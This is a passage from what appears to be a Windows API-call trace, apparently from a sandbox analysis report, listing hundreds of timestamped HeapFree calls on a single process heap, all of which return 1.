dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.408] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.408] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.412] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.412] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b8958 | out: hHeap=0x660000) returned 1 [0151.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.696] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.697] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0151.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.717] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.719] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.720] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.722] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.957] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.969] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.978] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0152.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0152.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0152.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0152.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.349] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.349] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.353] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.355] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.355] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.355] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.355] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.357] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.357] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.358] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0153.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0153.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0153.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0153.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0153.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0153.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0153.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0153.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.048] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.060] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.060] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.062] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.067] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.067] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.067] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.069] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.073] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.073] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 